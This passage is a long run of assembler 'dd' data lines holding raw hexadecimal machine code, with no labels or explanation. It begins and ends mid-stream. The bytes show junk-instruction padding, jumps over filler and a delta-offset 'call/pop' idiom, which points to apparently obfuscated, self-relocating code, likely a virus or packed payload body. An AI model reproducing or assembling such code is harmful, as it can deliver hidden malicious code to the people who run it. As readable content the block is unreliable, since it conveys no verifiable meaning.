3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 6701C353h dd 7866BC5h, 6ECF8166h, 4595FFD2h, 66061F1Dh, 0B03586BEh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E6C4DA06h, 55006A70h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8BD52663h dd 1F326DB5h, 6A71E406h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0DE6EC351h, 5E3ED472h dd 0C9B5038Ch, 3C061F31h, 0D9830F61h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 4676C353h, 8B53231Dh, 0B60F5FF8h, 0FE9D8h, 0CBC80000h dd 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah, 6BA1Ch, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0FB93AC3h, 0C38BFFBFh, 0C1F9BF0Fh, 6A04E8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0C95716C3h, 315E7D54h, 667C7AFBh, 6AE2F7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 64F59CC3h dd 1A386BC7h, 89BE4970h, 1F0CC185h, 6AD82B06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0E5CFC355h, 0EF04329Fh, 0B7BFE13Ah, 5837CE7Fh, 97E68166h dd 0FD82B37h, 0E788h, 0FEBF0F00h, 7B9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0ABC7240Dh, 9589F1A1h, 61F2DC1h, 0F00C183h, 684h, 259D8900h dd 3B061F1Fh, 0A1860FD9h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8FF8C356h dd 801E03C5h, 8C66B1C3h, 0D19D89D9h, 0F6061F0Ch, 840F04C1h dd 64h, 349B58Bh, 95FF061Fh, 61F3175h, 45DBE66h, 2DB5895Bh dd 2B061F23h, 8343DC3h, 860F0000h, 40h, 0DE9h, 6E74DF00h dd 0E5E77AACh, 33FF6967h, 31E988AEh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 6E22C350h, 0C255A912h, 0B58BF8DAh, 61F1391h, 0BD29C08Bh dd 61F0261h, 0D88BC38Bh, 0C7F0BF0Fh, 1F2C2985h, 1F55BF06h dd 50006A52h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0E8C08BEFh, 0Ah, 7A3C1953h, 0FD489517h dd 9E930FCh, 59000000h, 7AC70D40h, 0E80D1360h, 0E1BD815Fh dd 0D0061F05h, 0F000007h, 5385h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0AB25DD0Eh dd 5D85294Fh, 0FF061F1Ch, 1F05E185h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 9F403BD5h dd 0F947B0E7h, 624FBE66h, 5E1B5FFh, 8D31061Fh, 61F0EF9h dd 1D4595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0C985FCC3h, 6A4090h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0B3E9E1C3h dd 28E8A526h, 0F60E9EBh, 689h, 0CDE18100h, 0E92C6C63h dd 7, 9B70DC91h, 61B8A5B6h, 2FCDB58Bh, 0BD83061Fh, 61F12BDh dd 0E5840F00h, 0F000000h, 688h, 0E9953100h, 8B061F08h dd 1F0899B5h, 0CDBD8306h, 61F09h, 0C6840Fh, 0FE8B0000h dd 12BD95FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 9910A7C3h, 0A91CAABDh, 0BD8BF78Bh dd 61F2FCDh, 840FC00Bh, 8Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 6FC35646h, 0C148294Eh, 0BE96064h dd 53000000h, 93032870h, 1A1B3274h, 61F94771h, 4DB08D8Dh dd 8D89061Fh, 61F09C9h, 5B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 85895622h dd 61F2A75h, 6AE1FF5Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 9677C351h, 0FC49D92Dh dd 0A39BD83h, 0F00061Fh, 5AA84h, 0E5BD3100h, 83061F24h dd 1F09CDBDh, 840F0006h, 597h, 3860Fh, 0B70F0000h, 10E9FBh dd 0C62C0000h, 301A782Ah, 8DAD982Eh, 7BDAD783h, 8D8D2387h dd 61F1409h, 7C8401C7h, 6A44B2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0AD8EB2C3h, 13E933h dd 0AB8F0000h, 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh dd 0CB01818Ch, 6A1499CFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FBAC350h, 68Ah, 0F1858900h dd 0C7061F1Ch, 6B340441h, 0BE66CE70h, 4181F948h, 0D6D71004h dd 51006A31h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 8EA3D368h, 0AAB9AACh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8D2F91C3h dd 1F140985h, 505F5606h, 630F7ABEh, 2404897Bh, 0A3995FFh dd 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0EAA1C2C3h, 14098D8Dh, 6A061Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 7A625EC3h dd 5E9h, 0B0DD3B00h, 1C7565Dh, 0 dd 0BE9h, 870FE100h, 0BF770107h, 0D64E3299h, 441C7h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 821C351h, 31B697AEh, 1F157995h, 0FC00B06h dd 3384h, 4BF6600h, 0B08D8DB4h, 6A061F4Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4D24C352h dd 5B860FCh, 0F000000h, 0E1FFFFBFh, 14098D8Dh, 6A061Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0D3AC9DC3h, 81660B87h, 0C7B3A5EFh, 0AA727C01h, 68C0F44h dd 81000000h, 5D2B0AC6h, 0CB018168h, 8B1499CFh, 1F2691B5h dd 441C706h, 0CE78753Ch, 0DD1FE781h, 41810108h, 0D6D71004h dd 0BE831h, 76820000h, 0F2E70117h, 88522FF2h, 6A5F78h dd 2F918589h, 858D061Fh, 61F1409h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0C6C35343h, 276D9D89h, 901594D8h dd 6E8h, 9D75EE00h, 0E970E121h, 0Ch, 8353277Eh, 0A953B5FDh dd 0DB5CF494h, 0F90505Fh, 981h, 38F0F00h, 0F000000h, 0C781F9B7h dd 1C7AF88Eh, 0A3995FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0ACA97BC3h, 3FBE563Fh dd 6E9EC08h, 9A000000h, 0CC82443Eh, 8DF18BFDh, 1F14098Dh dd 0E6816606h, 1C73DD5h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 98C35343h dd 810F66DBh, 6, 161DB509h, 41C7061Fh, 4, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 26883064h, 0C73288BCh, 9DBD0BD9h, 0B061F19h, 87840FC0h dd 8D000000h, 1F4DB08Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 5006B855h, 9D89DE49h dd 61F0D79h, 5B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD8B0633h, 61F1D6Dh dd 7B2207BEh, 6AE1FF65h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0B1BC353h, 0D95D05ABh dd 5FE74499h, 1379B523h, 8D8D061Fh, 61F1409h, 0C7FE8B66h dd 0CA95A501h, 57006A54h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 54A8B9F9h, 85895542h dd 61F2AADh, 0CFCB0181h, 0C7F51499h, 59690441h, 6ACE5Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 81BCFCC3h, 0D7100441h, 0B58B31D6h, 61F1129h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 8222A7C3h, 0F78B680Ah, 1409858Dh, 6A061Fh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FCB1A7C3h dd 10E86050h, 50000000h, 8FC8DEC4h, 0B9FF2F15h, 0C5448706h dd 0F0CE52Ah, 8Bh, 0A7B35B00h, 24048961h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 72C35141h, 0F9E8DC69h dd 9392BE02h, 95FF5E3Bh, 61F0A39h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0E1C35545h, 14098D8Dh, 0FA8B061Fh dd 1C7h, 0FB8B0000h, 441C7h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B4DCC353h dd 0A56F8C4Dh, 0C00B4E57h, 69840Fh, 0BD8B0000h, 61F2F05h dd 4DB08D8Dh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 80605AC3h, 6E94FD9h, 5000000h, 658328Bh dd 5B861F0h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 9434C352h, 0E1858951h dd 0FF061F0Fh, 0D4DF81E1h, 3360A2Ch, 0F1FCE9CAh, 0C18BFFFFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9AC35343h dd 6940BE66h, 4EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0B58BBCC3h, 61F09B5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1DC35141h dd 37A8C223h, 0A984C227h, 19BD858Dh, 8D31061Fh, 61F2A91h dd 52505250h, 5E57310Fh, 895E585Ah, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BE8043C3h dd 1AEDBD89h, 6A061Fh, 6890F50h, 89000000h, 1F2B858Dh dd 6A5E06h, 0DBD8D01h, 858D061Fh, 622E2E7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0F6C35747h, 1E4F7A44h dd 0DFCC2434h, 12E808h, 96D30000h, 0EA8F7751h, 187B252Dh dd 66CA3A3Eh, 4EE076F5h, 5870Fh, 81660000h, 5E228CE6h dd 6005C083h, 6800Fh, 800F0000h, 0 dd 0F78B6661h, 0DE850h, 0C84D0000h, 0A170A254h, 0BC99E188h dd 532986A5h, 5EF28B66h, 2404895Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 37C35040h, 0E48BD7BAh, 3B5A04FFh dd 0A5A6BE7Fh, 9D89542Bh, 61F0D45h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0E08C30C3h dd 8D892504h, 61F2C3Dh, 0BD89006Ah, 61F0EC9h, 16195FFh dd 8589061Fh, 61F2FA5h, 0B1F29D8Dh, 6A0622h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0EE819EC3h dd 4C0B5F16h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0ED44EFC3h, 2F3DC619h, 0B58B1857h dd 61F0F95h, 102985FFh, 0E9F9061Fh, 963h, 0E8h, 0ED815D00h dd 622E2F1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0CCC35242h, 0BE442EE4h, 1F44B603h, 5E1BD81h, 7D0061Fh dd 860F0000h, 137h, 0D850Fh, 8E90000h, 0AD000000h, 4D044876h dd 8B59225Ch, 1F160D9Dh, 0EE906h, 0C4360000h, 453E7D74h dd 0E9F5FB1Ah, 0E910174Fh, 100E381h, 880F0000h, 3, 0E9F3BF0Fh dd 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 0FDB0B31h, 7F85h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0F756F6D5h, 0F1BF0F4Bh, 0BE9h, 2205400h dd 0E7BC342h, 0D91067E6h, 0E102BD83h, 0F000622h, 2B84h dd 13E900h, 0C7420000h, 0FE49B0A9h, 0DC50D327h, 0C4D97E01h dd 498C27D1h, 4EE932h, 31600000h, 1F30558Dh, 1B58B06h dd 61061F01h, 0E10285C7h, 10622h, 81660000h, 0E9EC1AEEh dd 2Ch, 0E10285C7h, 622h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 37D923C3h, 5EF38B50h dd 160D9D8Dh, 0C681061Fh, 0F5F2531h, 0FEFF2381h, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A9302BC3h, 0E6BE599Bh, 667E0BCDh, 0F6F8DB8Ch, 840F04C3h dd 67h, 19CDB58Bh, 95FF061Fh, 61F3175h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 2DC35141h, 0AD7D5D01h dd 8D31DFE0h, 61F08CDh, 0EEB1BE50h, 4896042h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 81A2B796h, 8A0F7116h, 3, 0E9F18B66h, 3C2h, 8900B0F9h dd 1F3259B5h, 6A70E606h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 9715C352h, 315638E7h dd 6820Fh, 0B5230000h, 61F10E5h, 12E971E4h, 0F5000000h dd 0B3C5FFABh, 615198C2h, 6B1C0C36h, 0F4AA85FFh, 0D8B60F9Ah dd 2CD9589h, 7E9061Fh, 57000000h, 1420895h, 6BA5364h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 2D8DC357h, 0CF6D753Eh, 0EF4C9E79h, 8BF6BF0Fh dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 5074392Ch, 0DFE7C477h, 4E8C1BDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D2C35141h, 9E879F1h dd 0A3000000h, 0B8AE2369h, 114CE839h, 0F2B70F53h, 0F7665E5Eh dd 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0AD456347h, 632F89F8h, 6AD82BEDh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0EF2FC350h, 0B70F79FFh, 8B5093F1h, 0B58B93F3h, 61F1F29h dd 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 8FBE26C3h, 4595FFF5h, 9061F1Dh dd 1F1EC5BDh, 0E900B006h, 6, 978FDAD3h, 70E63C61h, 0BE6671E4h dd 613C8E71h, 230830Fh, 0FC500000h, 0D8B60F5Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 23C35545h, 31D7A9D4h dd 1F0271B5h, 6BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 75CA23C3h, 0F5C55451h dd 6890Fh, 0B58B0000h, 61F0591h, 0AC9B589h, 0C38B061Fh dd 1EB58D31h, 0E8C1061Fh, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 68A5A625h dd 7DB58B59h, 66061F2Dh, 0FE8E2F7h, 45000000h, 5E1016CEh dd 13068DAEh, 0DEFDA25Bh, 0B58B35C7h, 61F2005h, 0E8D82B5Eh dd 13h, 89431738h, 66644E70h, 3A0F7EBFh, 8A597E81h, 50B616ACh dd 6A585E5Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 757C353h, 933C80D1h, 7870F7Fh dd 0F000000h, 18Ah, 8509F500h, 61F1215h, 880FD82Bh, 122h dd 58536052h, 7B95E61h, 60000000h, 6880Fh, 858B0000h, 61F2D7Dh dd 28E0Fh, 5A560000h, 0C18361h, 0DFB70F60h, 7B9AF281h dd 3B610DC9h, 0EB860FD9h, 0F000000h, 682h, 119D8900h, 66061F08h dd 0DE9D98Ch, 0FC000000h, 85AC6FBDh, 26FF339h, 2D1BBB47h dd 0F04C1F6h, 8E84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0F37EDB90h, 89F7F2AAh dd 1F0CC985h, 7595FF06h, 8B061F31h, 1F06A9B5h, 5B5E5306h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B9C35343h dd 8CDB589h, 0C32B061Fh, 13E9h, 0E3B39400h, 51E660C7h dd 43063DA7h, 7252E92Eh, 70D1D780h, 8343Dh, 10860F00h dd 8B000000h, 3CE9F2h, 810F0000h, 3, 8BF6B70Fh, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0D3301596h, 0C884030Bh, 0B58B3165h, 61F0DF5h, 1B2DB58Bh dd 0C38B061Fh, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 70B588C3h, 29058EDAh, 1F0F4995h dd 9B53106h, 0C7061F30h, 1F027D85h, 2FB7FB06h, 10E970h dd 58B30000h, 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h, 0C08BB425h dd 16D1B58Bh, 0BD81061Fh, 61F05E1h, 7D0h, 50850Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 43FBC8C3h, 4010180Dh, 9396BE66h, 5E185FFh, 6A061Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 839A14C3h, 0E681667Ah, 0B5FFEEDCh, 61F05E1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 72C35343h, 8B9CAF85h dd 1F1715B5h, 4595FF06h, 6A061F1Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0ABAFC355h dd 7488BE09h, 31F5EE91h, 1F1FD18Dh, 8880F06h, 60000000h dd 8AAE181h, 90616D21h, 6AD88Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 449E6C3h, 43999E7Ch dd 3118D29h, 0BD83061Fh, 61F20F1h, 14840F00h, 0E9000000h dd 8, 0C9C1E27h dd 0AD8A1062h, 23EE9h, 8CF78B00h, 235260DFh, 1F0F1D9Dh dd 95295806h, 61F05C5h, 0C7F76661h, 850F0004h, 21Fh, 0EF9DDE81h dd 0BF65F7h, 8B000000h, 1F113DB5h, 0F1B58B06h, 8D061F16h dd 22EBDD9Dh, 3ABE6606h, 830F03h, 50000000h, 2810F60h dd 8B000000h, 2840FC7h, 56000000h, 1C89615Eh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 42A979D0h, 0A293D198h, 0BE662E05h, 0FF6402A9h, 35h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0B64D66D2h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0FF50C357h, 6830FD0h, 8B000000h, 1F2A31B5h, 6AC48B06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 7555C353h, 0E7CD6652h, 29CB314Eh, 1F0FC99Dh dd 21B58B06h, 0CD061F12h, 8B00EB01h, 1F1E05B5h, 0EBE8BE06h dd 6A697Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0ACD916C3h, 54BEECFh, 58F643Dh, 0 dd 0E95B523h, 0CE81061Fh, 12445290h, 6A04C483h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 6A23C353h, 0FB1503AAh, 9509275Eh, 61F20C1h, 840FC00Bh dd 0B7h, 41853160h, 66061F00h, 19B5D681h, 0B0BD8D61h, 6A061F4Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 3759C356h, 0E63A629Eh, 5B8h, 4DBD8900h, 8B061F0Eh dd 1F16ADB5h, 8BE7FF06h, 1F1361B5h, 5C8B5706h, 838B1024h dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h dd 0E8C3C033h, 6, 0BF607675h, 0DE93F88h, 3000000h, 1B327493h dd 0A047711Ah, 7FD36481h, 56006A5Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 3F35FB5Ah dd 0B6A91539h, 85B52B8Bh, 2B061F13h, 0F69EE9CAh, 8BF5FFFFh dd 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 7E2E3EA4h, 0FE960h, 0A6CA0000h, 0F106D5Ch dd 0D5F7903Ch, 7C113451h, 13E915h, 0C41F0000h, 0D7C8F6CFh dd 61CB1B49h, 9C001A28h, 9E9B184Eh, 0BD8B617Eh, 61F2ED1h dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0E08104C3h, 6A22E3h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 858D40C3h dd 61F19BDh, 0AE9h, 0B01D1500h, 313FFD1Dh, 90C6DFEAh, 0F525050h dd 810F31h, 5A000000h, 6A9058h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0C14A6DC3h, 16E1B58Bh dd 6A061Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 7AC2B5C3h, 4006285Dh, 816606B0h dd 8DABF5CEh, 22EE5385h, 5C08306h, 0E7DB58Bh, 8B90061Fh dd 8D0F50F9h, 1Ah, 13E960h, 19A40000h, 89E6C86Fh, 0CE1D73FDh dd 854C9C5Eh, 702E9899h, 0F90617Dh, 85h, 8B006A00h, 1F0EDDBDh dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 3CC355h, 5688406Eh, 0F60FEAC1h dd 9E9h, 57BD7400h, 23096656h, 0BE92C8Eh, 8B000000h, 188A0DD5h dd 46FC4B57h, 0B58B62CBh, 61F1181h, 16195FFh, 880F061Fh dd 4, 9A39BE66h, 0B1F29D8Dh, 6A0622h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0BFE2ACC3h dd 75BA8D1Ah, 0BD8BD3FFh, 61F2A49h, 102985FFh, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 621781C3h, 699D3139h, 0E9061F2Ah, 873h, 0E8h, 0ED815D00h dd 622EE5Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 93C35747h, 13BBFF21h, 8B52D2BEh, 1F1F35BDh, 0BD815E06h dd 61F05E1h, 7D0h, 191860Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 40701BC3h dd 0B58B537Ah, 61F14E1h, 2AD19D8Bh, 0B5BF061Fh, 8112BEA5h dd 100E3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0DFE30BF3h, 0DB0B1299h, 0B1850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 5500A9C3h, 636DC1E3h, 3840F2Bh, 0F000000h dd 0BD83F9BFh, 622ECA6h, 33840F00h, 29000000h, 1F07D185h dd 9AE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 57A56FC3h, 0BD8BA14Eh, 61F0825h dd 85C7F08Bh, 622ECA6h, 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0C1C35545h, 5BA30EAEh, 0B58ECAD2h, 8855F681h dd 39E918DFh, 0E9000000h, 7, 0AAAF433Dh, 0C725B356h, 22ECA685h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 66C0D249h, 7048DE81h, 2AD19D8Dh dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0F88B3CC3h, 151D8509h, 2381061Fh, 0FFFFFEFFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BDC35747h dd 3B22F619h, 66F08B66h, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 3689C1C3h, 0B8F90E64h dd 58F0FDAh, 66000000h, 0B41BC781h, 830Fh, 0C3F60000h dd 66840F04h, 0BF000000h, 0DD16C56h, 317595FFh, 6A061Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0C21B7AC3h, 6E9h, 27121400h, 66289577h, 900CA7BEh, 8E850h dd 0ED240000h, 0C81D9DF9h, 12E9CD04h, 7F000000h, 7B7F38F6h dd 0F49CA68Ah, 0E2348C24h, 61414EB7h, 81905FC6h, 3BBCEDD6h dd 3D5E978h, 820F0000h, 8, 0BD9D2956h, 5E061F0Eh, 7D1BD8Bh dd 0B0061Fh, 15A1B589h, 70E6061Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 73C35343h, 0C7BFC543h, 0CF8166DCh dd 71E47F23h, 20E9BD8Bh, 8529061Fh, 61F1D6Dh, 81D8B60Fh dd 898FFDE7h, 6BA46h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0BCE79BC3h, 8B88C7FBh dd 0FE8B66C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 6C8EC350h, 0E2468533h dd 810F3821h, 5, 0C5CE8166h, 0F766F9D3h, 52006AE2h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0B07BBD70h, 0BDB58B0Bh, 2B061F30h, 25B589D8h, 50061F16h dd 0FE9h, 0ABABE100h, 9A51E3E5h, 0D8C3991Eh, 0F2835240h dd 0FF241C89h, 1F05E1B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B7AA46FDh dd 646F6506h, 4595FFB1h, 6A061F1Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3E69C355h dd 424CA399h, 0C185891Dh, 8B061F02h, 1F2ED1B5h, 3300B006h dd 1F167DBDh, 6A70E606h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 5BE3C353h, 0FF9BF0Fh dd 8Dh, 6A71E400h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 4778C350h, 0E19FEA71h, 7CC2B0BFh dd 0F613C36h, 21683h, 95BD8900h, 0F061F16h, 38Eh, 0FE8B6600h dd 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 6408C357h, 0BD0B59A8h, 61F1221h dd 81666057h, 0FC2309DAh, 6BA5F61h, 0E8000000h, 0Eh, 30A3DD54h dd 68AD3531h, 700A7A91h, 8B5EB6D9h, 0FD8589C3h, 0C1061F20h dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0E9E6A8C3h, 0C4C85DDAh, 66D6FE16h, 0FE8E2F7h dd 0D5000000h, 0F178A726h, 0E5720987h, 0C6D3DDC4h, 9589BF47h dd 61F1465h, 6AD82B5Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 7FC4C352h, 8EDB4017h dd 2459D89h, 151061Fh, 1F1C0995h, 0E9585F06h, 6, 0A1FAA901h dd 0D82BFCF2h, 129880Fh, 0E0BF0000h, 0B914369Ah, 7, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7CC35141h, 132C7669h dd 0F725559h, 1488h, 0CE85100h, 58000000h, 14963CD5h, 0FE0E2389h dd 5F016B9Eh, 0C1835Fh, 860FD93Bh, 0D7h, 365751BFh, 0D98C663Dh dd 32B98D31h, 0C1F6061Fh, 0B2840F04h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F85CC353h, 2A51BD89h, 